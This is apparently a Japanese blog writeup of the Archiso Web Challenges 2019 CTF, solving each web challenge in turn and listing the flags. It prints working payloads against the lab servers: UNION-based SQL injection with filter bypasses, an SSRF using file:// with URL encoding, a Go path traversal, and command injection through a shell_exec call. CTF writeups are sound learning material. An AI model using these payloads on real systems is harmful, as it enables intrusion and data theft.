Archiso Web Challenges 2019 writeup
サークルの後輩がまたCTFを開催してくれました。
本当に何者なのだろう。
順位は10位でした。
なんとか全問解けたのでwritepupを公開します。
Welcome
Welcome to AWebC19[50]
問題文のFlagをそのまま入力するだけ。
WebC{W3lcome_t0_Archis0_We6_Cha1lenges_2019_6cd97dcc}
Web
Out of Display[100]
確かにページ上にはFlagは無いのでソースを確認します。
Flagがコメントアウトされていました。
WebC{0ops_y0u_c4n_find_m3_8356eb46}
Whited Out[100]
同じくパッと見だとFlagはなさそうなのでソースを確認。
こちらはコメントアウトではなく、普通に白文字でした。
WebC{7his_f1ag_i5_whit3d_0ut_0d856efe}
Rel[100]
やはりページ上にはとくに何もないのでソースを確認する。
Flagが書いてあった。
WebC{sty1esh3et5_c4n_be_1ink3d_6y_re1_4ttribu7e_192ecb0e}
Agent[200]
AgentをNCSA Mosaicのバージョン2.0に設定すればいけそうです。
どんな表記にすればいけるのかよく分かりませんが、とりあえず「NCSA Mosaic 2.0」にしてみたらいけました。
WebC{D0_y0u_s7ill_u5e_Wind0ws_3.1_in_thi5_c3ntury?_cc6efe69}
Ref[200]
リファラーを「https://www.google.com/」にすればいけそうです。
最初に思いついたのは自分でページを用意してリファラーを偽装することでしたが、よく考えればリファラーの偽装なんてブラウザだけで完結できそうなものです。
ggったらchromeの拡張機能に「Referer Control」というものがありました。
いい感じに設定します。
ページを更新したらFlagが出てきました。
WebC{N0w_you_acc3ssed_7his_sit3_fr0m_go0g1e_0ec9b975}
Oluri Key[300]
今回もオオルリさんをありがとうございます。
ページはいかにもお約束的な感じなのでおまじないを入力します。
Flagが出てきました。
WebC{N0w_y0u_c4n_l0gin_to_0ur_k3y_sys7em_0e789551}
Fruits List[300]
季節をクリックしてみるとフルーツが出てきます。
ソースを確認してみると、それっぽい部分がありました。
shell_execで ls [入力内容] を実行しているっぽいので、「 / 」を入力してみるとFlagが出てきました。
WebC{Y0u_c4n_choo5e_frui7s_with_y0ur_f4vorite_season!_b5d3a864}
Dolls Data 1[400]
なんだかSQLインジェクションっぽいので、とりあえず「1' or 1 = 1 -- 」をやってみます。
送信してみると全部表示されたのでやはり脆弱性があるようです。
information_schemaでテーブルとカラムの一覧を取ってこれるか探ります。
カラム数は11でした。
a' UNION SELECT table_name,column_name,3,4,5,6,7,8,9,10,11 FROM information_schema.columns --
最後にそれっぽいのがありました。
dolls_data_1_flag_b3f4befcからkar98kのデータを結合します。
a' UNION SELECT kar98k,2,3,4,5,6,7,8,9,10,11 FROM dolls_data_1_flag_b3f4befc --
Flagが出てきました。
WebC{D0lls_front1ine_i5_v3ry_nic3_g4me!_Y0u_mu5t_p1ay_i7_n0w!_d10e093d}
Single Page HTML Viewer 2[400]
一番苦労した問題です。
SUN CTFのときに似たような問題がありました。
あのときはサーバー内にあるファイルしか表示出来ませんでしたが、今回は外部もいけるようです。
試しに「https://aokakes.hatenablog.com/」でやってみると、構成は崩れていますがブログが表示されました。
ちなみに問題文のヒントにある「/flag」を入力すると、不正アクセスとして弾かれます。
ソースにmain.jsがあるのでそちらを確認してみると以下のようになっていました。
$(function () { $('#submit-button').on('click', function () { const url = $('#url-input').val() $('#error').html('') $('#error').removeClass('error') $('#url-input').val('') $('#content').html('') if (!url) { $('#error').addClass('error') $('#error').html('<p>URL縺悟�蜉帙&繧後※縺�∪縺帙s</p>') return false } if (url.match(/flag/)) { $('#error').addClass('error') $('#error').html('<p>荳肴ュ」縺ェ繧「繧ッ繧サ繧ケ繧呈、懷�縺励∪縺励◆</p>') return false } const params = new URLSearchParams() params.append('url', url) axios.post('query.php', params) .then(function (res) { if (!res.data.error) { $('#content').html(res.data.content) } else { $('#error').addClass('error') $('#error').append('<p>' + res.data.error + '</p>') } }) .catch(function (err) { $('#error').addClass('error') $('#error').append('<p>騾壻ソ。縺ォ螟ア謨励@縺セ縺励◆</p>') console.log(err) }) return false }) })
18行目で、入力値にflagが含まれているとページの取得すら行わないようです。
これに関しては形を変えてあげれば回避できます。
私はURLエンコードで回避しました。
%66%6c%61%67
しかし、残念ながら /%66%6c%61%67 と入力しても無効なURLとして弾かれてしまいます。
どうやらURLの体裁を整えていなければならないようです。
色々試してみると、 :// が含まれていればURLとして認識してくれることが分かりました。
localhost とか 127.0.0.1 も無理っぽいし、どうすればええんや...としばらく格闘した結果、google先生が教えてくれました。
あっ...file://ですか...
そういえばそんなものがありました。
というわけで以下のように入力。
file:///%66%6c%61%67
Flagが出てきました。
WebC{Y0u_c4n_acc3ss_secur3_inform4tions_6y_usin9_s3rver_5ide_reques7_forg3ry_c9e4858a}
Dolls Data 2[500]
1つ目と見た目はとくに変わりません。
とりあえずさっきと同じものを入力してみると、入力文字列が以下のように変化しました。
a' UNION SELECT table_name,column_name,3,4,5,6,7,8,9,10,11 FROM information_schema.columns -- ↓ a' UNION SELECT table_namecolumn_name34567891011 FROM information_schema.columns --
カンマが削除されています。
そこでカンマを使わずにSQL文を作る方法を考えます。
JOIN句を使いましょう。
1' UNION SELECT * FROM (SELECT table_name FROM information_schema.columns)a JOIN(SELECT column_name FROM information_schema.columns)b JOIN(SELECT 3)c JOIN(SELECT 4)d JOIN(SELECT 5)e JOIN(SELECT 6)f JOIN(SELECT 7)g JOIN(SELECT 8)h JOIN(SELECT 9)i JOIN(SELECT 10)j JOIN(SELECT 11)k --
一度にテーブル一覧とカラム一覧を表示しているので取得に時間がかかります。
最後にそれっぽいのがありました。
同じようにしてdolls_data_2_flag_dfe61e6cからhkm4のデータを結合するSQL文を作ります。
1' UNION SELECT * FROM (SELECT hkm4 FROM dolls_data_2_flag_dfe61e6c)a JOIN(SELECT 2)b JOIN(SELECT 3)c JOIN(SELECT 4)d JOIN(SELECT 5)e JOIN(SELECT 6)f JOIN(SELECT 7)g JOIN(SELECT 8)h JOIN(SELECT 9)i JOIN(SELECT 10)j JOIN(SELECT 11)k --
Flagが出てきました。
WebC{404_s9uad_c0nsi5ts_0f_UMP45_UMP9_GrG11_4nd_416_702e53df}
Go Mikuji[500]
Play Omikujiに飛んでみるとおみくじを引けます。
いや、Goなんて知らないんですけど...なんて思いながらソースを確認します。
package main import ( "fmt" "io" "log" "math/rand" "net/http" "os" "path" "path/filepath" "strings" ) func main() { cwd, err := os.Getwd() if err != nil { log.Fatal(err) } http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { name := filepath.FromSlash(filepath.Join(cwd, "public", path.Base(r.URL.Path))) path := strings.Replace(name, "\\", "/", -1) f, err := os.Open(path) if err != nil { http.NotFound(w, r) return } defer f.Close() io.Copy(w, f) }) http.HandleFunc("/public/omikuji", func(w http.ResponseWriter, r *http.Request) { results := []string{"大吉", "中吉", "小吉", "凶", "大凶"} fmt.Fprintf(w, "<html><head><title>Go Mikuji | Fortune</title><meta charset=\"utf-8\"></head><body><h1>Go Mikuji</h1><p>Today's fortune: %s</p></body></html>", results[rand.Intn(len(results))]) }) http.ListenAndServe(":8080", nil) }
やっぱりよく分かりませんでした。
半ば諦めつつggっていると以下のサイトにたどり着きました。
mattn.kaoriya.net
なんか、URLの末尾に ..%5cmain.go とか入力するとディレクトリトラバーサルが発生するとかしないとか。
まさかな~、と思いつつやってみたらmain.goが表示されました。
同じようにして ..%5cflag.txt としてみるとFlagが出てきました。
WebC{pa7h_p4ckage_hand1e_fil3_p4th_4s_l0gical_p4th_9bfe7b26}
Dolls Data 3[600]
3つ目のDolls Dataです。
今回も2つ目のやつを入力して比較してみます。
1' UNION SELECT * FROM (SELECT table_name FROM information_schema.columns)a JOIN(SELECT column_name FROM information_schema.columns)b JOIN(SELECT 3)c JOIN(SELECT 4)d JOIN(SELECT 5)e JOIN(SELECT 6)f JOIN(SELECT 7)g JOIN(SELECT 8)h JOIN(SELECT 9)i JOIN(SELECT 10)j JOIN(SELECT 11)k -- ↓ 1'UNIONSELECT*FROM(SELECTtable_nameFROMinformation_schema.columns)aJOIN(SELECTcolumn_nameFROMinformation_schema.columns)bJOIN(SELECT3)cJOIN(SELECT4)dJOIN(SELECT5)eJOIN(SELECT6)fJOIN(SELECT7)gJOIN(SELECT8)hJOIN(SELECT9)iJOIN(SELECT10)jJOIN(SELECT11)k
スペースとハイフンが削除されています。
スペースを /**/ に、ハイフンを ; に変更しましょう。
1'/**/UNION/**/SELECT/**/*/**/FROM/**/(SELECT/**/table_name/**/FROM/**/information_schema.columns)a/**/JOIN(SELECT/**/column_name/**/FROM/**/information_schema.columns)b/**/JOIN(SELECT/**/3)c/**/JOIN(SELECT/**/4)d/**/JOIN(SELECT/**/5)e/**/JOIN(SELECT/**/6)f/**/JOIN(SELECT/**/7)g/**/JOIN(SELECT/**/8)h/**/JOIN(SELECT/**/9)i/**/JOIN(SELECT/**/10)j/**/JOIN(SELECT/**/11)k/**/;/**/
出てきました。
あとはやるだけ。
1'/**/UNION/**/SELECT/**/*/**/FROM/**/(SELECT/**/m4a1/**/FROM/**/dolls_data_3_flag_979c7e90)a/**/JOIN(SELECT/**/2)b/**/JOIN(SELECT/**/3)c/**/JOIN(SELECT/**/4)d/**/JOIN(SELECT/**/5)e/**/JOIN(SELECT/**/6)f/**/JOIN(SELECT/**/7)g/**/JOIN(SELECT/**/8)h/**/JOIN(SELECT/**/9)i/**/JOIN(SELECT/**/10)j/**/JOIN(SELECT/**/11)k/**/;/**/
WebC{Con9ratu1ati0ns!_Y0u_ar3_7he_tru1y_m4ster_0f_SQL_inj3ction!_7a5c9318}
まとめ
前半はサクサクと解けましたが、後半は変な先入観で沼ってしまったところがありました。
まさかカラム数が11もあるわけないでしょ...とか考えて別のことをやっていて1時間以上無駄にしたような気がします。
速い人は30分もかからずに解き終わっているのでCTFガチ勢には全て簡単な問題だったのかもしれませんが、私にはちょうど良い難易度だったのかなと思います。
全問解いた人は参加者33人中、自分を含めて10人でした。
順位は10位でしたが、スコアボードのグラフに自分の名前を残すことが出来て安心しましたw
しかしこうやってCTFをやっていると自分でまた問題を作りたくなってきますね...
(私が今までに)見たことがないような問題だけを揃えて開催出来たら面白いかなーと思います。
乞うご期待。